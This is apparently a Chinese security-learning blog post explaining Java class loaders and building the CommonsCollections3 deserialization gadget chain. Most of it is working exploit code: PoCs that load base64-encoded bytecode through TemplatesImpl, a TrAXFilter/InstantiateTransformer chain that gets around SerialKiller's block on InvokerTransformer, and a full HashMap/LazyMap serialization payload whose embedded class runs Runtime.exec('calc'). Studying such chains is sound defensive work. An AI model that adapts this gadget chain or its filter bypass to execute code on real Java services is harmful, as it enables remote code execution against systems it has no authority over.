本文最后更新于:2023年9月9日 晚上
[TOC]
【java安全】类加载器&CommonsCollections3 前言 前面我们学习了CommonsCollections1
等等cc链,这里我们学习第三条链子CommonsCollctions3
,这里需要用到TemplatesImpl
类,由于这个类会使用到一些类加载器中相关的知识,所以我们需要先学习一些类加载器知识
java类加载器
我们知道,java是跨平台的语言,首先在不同的平台,如:windows、macOS等系统编写源代码,然后通过各自的编译器,编译成字节码class文件,字节码通过类加载器的加载,加载到JVM虚拟机中,可以在不同的平台运行,实现了跨平台特性
ClassLoader
是一个加载器,告诉JVM虚拟机如何加载Class文件,java默认的ClassLoader是根据类名来加载类的,例如:java.lang.Runtime
这里我们先来介绍一下URLClassLoader
URLClassLoader URLClassLoader
是java中的一个类加载器,它支持从指定URL中加载字节码文件
URLClassLoader
是我们平时默认使用的类加载器AppClassLoader
的父类,所以我们解释URLClassLoader
其实就是就是AppClassLoader
java默认类加载器的工作流程
正常情况下,Java会根据配置项 sun.boot.class.path
和 java.class.path
中列举到的基础路径(这些路径是经过处理后的 java.net.URL
类)来寻找.class
文件来加载,而这个基础路径有分为三种情况:
URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader
来寻找类,即为在Jar包中寻 找.class文件
URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader
来寻找类,即为在本地文件系统中寻 找.class文件
URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader
来寻找类
我们可以使用一个简单的例子来说明URLClassLoader
的作用
我们构造一个Hello
类,构造函数中输出一句话:
1 2 3 4 5 public class Hello { public Hello () { System.out.println("hello~classLoader~" ); } }
编译之后,将class文件放入:http://localhost/
下:
我们观察一下URLClassLoader
类的构造:
1 2 3 4 5 6 public static URLClassLoader newInstance (final URL[] urls, final ClassLoader parent) { ... return ucl; }
然后写一个Test方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.net.URL;import java.net.URLClassLoader;public class LoaderTest { public static void main (String[] args) throws Exception { URL[] urls = new URL []{new URL ("http://127.0.0.1/" )}; URLClassLoader loader = URLClassLoader.newInstance(urls); Class<?> aClass = loader.loadClass("Hello" ); aClass.newInstance(); } }
上述代码将URL数组传递给URLClassLoader
,代表该类加载器要从指定的URLhttp://127.0.0.1/
中去加载指定的类Hello
,使用loadClass()
方法加载Hello
类,然后调用newInstance()
方法实例化对象,此时会调用Hello
类中的构造方法,输出字符串:
成功请求到了远程服务器的Hello.class
文件,并且执行了里面的字节码
所以如果我们能控制ClassLoader
的路径为服务器,就可以远程加载字节码文件来执行代码了
利用ClassLoader#defineClass()直接加载字节码 上面我们使用了URLClassLoader
远程加载class文件,其实java加载字节码文件主要分为三个阶段:
ClassLoader#loadClass()
从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass()
ClassLoader#findClass()
是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
ClassLoader#defineClass()
作用是处理前面传入的字节码,将其处理成真正的Java类
可以看到defineClass()
方法是最重要的,将字节码转为java类
1 2 3 4 5 protected final Class<?> defineClass(String name, byte [] b, int off, int len) throws ClassFormatError { return defineClass(name, b, off, len, null ); }
defineClass()
使用protected
权限修饰,我们可以使用反射调用
参数:name
是要调用类的名字,b
是要调用Class序列化的字节数组,off
是从字节数组的第几个开始,len
是长度
我们写一个测试方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import java.lang.reflect.Method;import java.util.Base64;public class HelloDefineClass { public static void main (String[] args) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); defineClass.setAccessible(true ); byte [] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM" ); Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello" , code, 0 , code.length); hello.newInstance(); } }
defineClass
被调用的时候返回的是Class
,所以不会初始化类对象,我们需要手动调用newInstance()
实例化
使用TemplatesImpl加载字节码 我们在反序列化链中,不可能直接使用defineClass()
方法,但是我们可以使用TemplatesImpl
类最终调用到defineClass()
TemplatesImpl
类位于:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
在这个类中有一个内部类:TransletClassLoader
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super (parent); _loadedExternalExtensionFunctions = null ; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super (parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null ; if (_loadedExternalExtensionFunctions != null ) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null ) { ret = super .loadClass(name); } return ret; } Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } }
我们看到这个类TransletClassLoader
是默认权限的,所以能被外部访问,并且重写了defineClass()
方法
我们可以逐步追溯TransletClassLoader#defineClass()
方法的链:
1 2 3 TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
追溯到方法TemplatesImpl#newTransformer()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
我们尝试构造一下poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.util.Base64;public class TemplatesImplDemo { public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=" ); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); obj.newTransformer(); } public static void setFieldValue (Object obj,String fieldName,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } }
此处的 setFieldValue()
函数是用来设置TemplatesImpl
的属性的,
_bytecodes
是由字节码组成的数组
_name
是任意字符串,只要不为空即可,否则执行到getTransletInstance()
函数中会返回null
此外我们也要保证_tfactory
为TransformerFactoryImpl
对象,否则为null
在调用getExternalExtensionsMap()
会报错:
TemplatesImpl中字节码实现AbstractTranslet类 需要注意的是,TemplatesImpl
类对加载的字节码是有要求的,这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
类的子类
所以我们构造一个特殊的类,继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
类
我们执行一下,得到结果:
总结一下:TemplatesImpl
是一个可以加载字节码的类,通过调用newTransformer()
方法,可以执行这段字节码的类构造方法
构造未完成POC 那么我们如何利用这个特性来执行任意代码呢?
我们可以结合之前我们学习的CommonCollections
来构造POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import org.apache.commons.collections.Transformer;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class CommonsCollectionsIntro3 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=" ); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (obj), new InvokerTransformer ("newTransformer" , null , null ) }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); outerMap.put("test" , "xxxx" ); } }
我们将构造的TemplatesImpl
对象传入Transformer
数组的第一个元素ConstantTransformer
对象构造方法的参数中,然后第二个元素InvokerTransformer
构造方法传入newTransformer
表示调用该方法,由于该函数没有形参,所以其他位置填入null
当TransformedMap
执行put
方法时,链式调用ChainedTransformer
对象的transform()
方法,从而触发newTransformer()
方法
成功执行字节码
你以为这就完了吗?没有
在一个反序列化过滤工具:SerialKiller
中InvokerTransformer
被过滤了:
我们就不能使用cc1这种依靠InvokerTransformer
类的链子了
CommonsCollections3
中使用了一种新的类:TrAXFilter
位于:com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _overrideDefaultParser = _transformer.overrideDefaultParser(); }
TrAXFilter
类的构造方法调用了templates
变量的newTransformer()
方法,所以我们可以使用TrAXFilter
类来封装一下TemplatesImpl
对象
由于我们缺少了InvokerTransformer
类,所以我们无法调用TrAXFilter
构造方法
这时我们又要用到一个新的类InstantiateTransformer
位于:org.apache.commons.collections.functors.InstantiateTransformer
1 2 3 4 5 6 7 8 9 10 11 public Object transform (Object input) { try { if (!(input instanceof Class)) { throw new FunctorException ("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this .iParamTypes); return con.newInstance(this .iArgs); } } ... }
InstantiateTransformer
类的transform()
方法调用了形参的构造方法
InstantiateTransformer
构造方法如下:
1 2 3 4 public InstantiateTransformer (Class[] paramTypes, Object[] args) { this .iParamTypes = paramTypes; this .iArgs = args; }
所以我们Transformer
调用链如下:
1 2 3 4 5 6 Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class [] { Templates.class }, new Object [] { obj }) };
避免使用了InvokerTransformer
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class cc3 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQAMwoABwAlCgAmACcIACgKACYAKQcAKgcAKwcALAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTEV4ZWNUZXN0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAA1TdGFja01hcFRhYmxlBwArBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA1FeGVjVGVzdC5qYXZhDAAaABsHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAhFeGVjVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAAEAAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAMAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAARAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAFgAXAAIAAAABABgAGQADABMAAAAEAAEAFAABABoAGwABAAoAAABqAAIAAgAAABIqtwABuAACEgO2AARXpwAETLEAAQAEAA0AEAAFAAMACwAAABYABQAAABIABAAUAA0AFwAQABUAEQAYAAwAAAAMAAEAAAASAA0ADgAAABwAAAAQAAL/ABAAAQcAHQABBwAeAAAJAB8AIAABAAoAAAArAAAAAQAAAAGxAAAAAgALAAAABgABAAAAHAAMAAAADAABAAAAAQAhACIAAAABACMAAAACACQ=" ); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "ExecTest" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] fakeTransformer = new Transformer []{}; Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class [] { Templates.class }, new Object [] { obj }) }; Transformer chainedTransformer = new ChainedTransformer (fakeTransformer); Map uselessMap = new HashMap (); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"leekos" ); Map hashMap = new HashMap (); hashMap.put(tiedMapEntry,"test" ); lazyMap.clear(); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(chainedTransformer, transformers); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(hashMap); oos.flush(); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } }
运行弹计算器
ExecTest
类的源码:(注意TemplatesImpl
传入的字节数组要继承AbstractTranslet
类)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class ExecTest extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public ExecTest () { try { Runtime.getRuntime().exec("calc" ); } catch (Exception e) { } } }
我们将其编译一下,然后将class使用base64编码:
(需要注意kali中base64
命令会自动换行,-w 0
参数防止换行)
1 cat ExecTest.class | base64 -w 0 > 1.txt
调用链 1 2 3 4 5 6 7 HashMap#readObjct() HashMap#hash() TiedMapEntry#hashCode() LazyMap#get() ChainedTransformer#transform() ConstantTransformer#transform() InstantiateTransformer#transform()